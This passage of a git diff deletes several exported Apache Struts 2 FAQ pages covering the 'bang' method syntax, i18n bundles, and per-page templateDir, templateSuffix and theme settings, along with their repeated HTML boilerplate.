-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Can an action tag run another method apart from the default execute method</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="can-an-action-tag-run-another-method-apart-from-the-default-execute-method.html">Can an action tag run another method apart from the default execute method</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Can an action tag run another method apart from the default execute method</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14075">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14075">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14075">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14075">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14075">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14075">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Using the "bang" syntax, any alias method on an Action can be called from the <code>action</code>, <code>submit</code>, or <code>button</code> tags.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:action name="action!alias" .... /&gt;
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/can-i-add-i18n-outside-the-actions-context.html b/content/docs/can-i-add-i18n-outside-the-actions-context.html
deleted file mode 100644
index e28322f..0000000
--- a/content/docs/can-i-add-i18n-outside-the-actions-context.html
+++ /dev/null
@@ -1,163 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Can I add I18N outside the Action's context</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="can-i-add-i18n-outside-the-actions-context.html">Can I add I18N outside the Action's context</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Can I add I18N outside the Action's context</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14174">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14174">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14174">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14174">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14174">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14174">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<p>Most often, the Action provides access to the resource bundle through its <code>getText</code> method. To access another resource bundle, or to access the resource bundle without executing the Action first, use the <code>i18n</code> tag to push a resource bundle on the stack.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;p&gt;&lt;saf:i18n name="alternate"&gt;
-    &lt;img src="&lt;saf:text name="action.logo.path"/&gt;"
-         alt="&lt;saf:text name="action.logo.alt"/&gt;"/&gt;
-&lt;/saf:i18n&gt;&lt;/p&gt;
-</pre>
-</div></div>
-<p>Within the scope of the <code>i18n}}tag, calls to the {{text</code> tag or {{%getText} will read from the specified resource bundle. </p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/can-i-change-templatedir-on-a-per-page-basis.html b/content/docs/can-i-change-templatedir-on-a-per-page-basis.html
deleted file mode 100644
index 7488e32..0000000
--- a/content/docs/can-i-change-templatedir-on-a-per-page-basis.html
+++ /dev/null
@@ -1,174 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Can I change templateDir on a per-page basis</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="can-i-change-templatedir-on-a-per-page-basis.html">Can I change templateDir on a per-page basis</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Can I change templateDir on a per-page basis</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14013">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14013">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14013">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14013">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14013">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14013">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<p>The default template directory is passed to the page through a <code>templateDir</code> variable. To change the template dirctory for a page, use the <code>set</code> tag to change the <code>templateDir</code> variable. The variable can be changed using a static value or property.</p>
-
-<h2 id="CanIchangetemplateDironaper-pagebasis-StaticValue">Static Value</h2>
-
-<p>Change to the "template" directory.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:set name="templateDir" value="'template'" scope="page" /&gt;
-</pre>
-</div></div>
-
-<h2 id="CanIchangetemplateDironaper-pagebasis-Property">Property</h2>
-
-<p>Change to the theme name indicated by the <code>myTemplateDir</code> property.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:set name="theme" value="%{myTemplateDir}" scope="page" /&gt;
-</pre>
-</div></div>
-
-<hr>
-<p>See also <a shape="rect" href="template-loading.html">Template Loading</a></p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/can-i-change-templatesuffix-on-a-per-page-basis.html b/content/docs/can-i-change-templatesuffix-on-a-per-page-basis.html
deleted file mode 100644
index b6ec459..0000000
--- a/content/docs/can-i-change-templatesuffix-on-a-per-page-basis.html
+++ /dev/null
@@ -1,181 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Can I change templateSuffix on a per-page basis</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="can-i-change-templatesuffix-on-a-per-page-basis.html">Can I change templateSuffix on a per-page basis</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Can I change templateSuffix on a per-page basis</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14246">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14246">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14246">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14246">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14246">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14246">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<p>The <code>templateSuffix</code> variable controls which templating engine is used to render a page. To change the engine for a particular page, change the value of the <code>templateSuffix</code> variable.</p>
-
-<h2 id="CanIchangetemplateSuffixonaper-pagebasis-ChangetotheVelocityEngine">Change to the Velocity Engine</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:set name="templateSuffix" value="'vm'" /&gt;
-</pre>
-</div></div>
-
-<h2 id="CanIchangetemplateSuffixonaper-pagebasis-ChangetotheJSPengine">Change to the JSP engine</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:set name="templateSuffix" value="'jsp'" /&gt;
-</pre>
-</div></div>
-
-<h2 id="CanIchangetemplateSuffixonaper-pagebasis-ChangetotheFreeMarkerengine">Change to the FreeMarker engine</h2>
-
-<p><img class="emoticon emoticon-yellow-star" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/star_yellow.png" data-emoticon-name="yellow-star" alt="(star)"> <em>Freemarker is the default templating engine</em></p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:set name="templateSuffix" value="'ftk'" /&gt;
-</pre>
-</div></div>
-
-<hr>
-<p>See also <a shape="rect" href="template-loading.html">Template Loading</a>.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/can-i-change-theme-on-a-per-page-basis.html b/content/docs/can-i-change-theme-on-a-per-page-basis.html
deleted file mode 100644
index d528e65..0000000
--- a/content/docs/can-i-change-theme-on-a-per-page-basis.html
+++ /dev/null
@@ -1,174 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
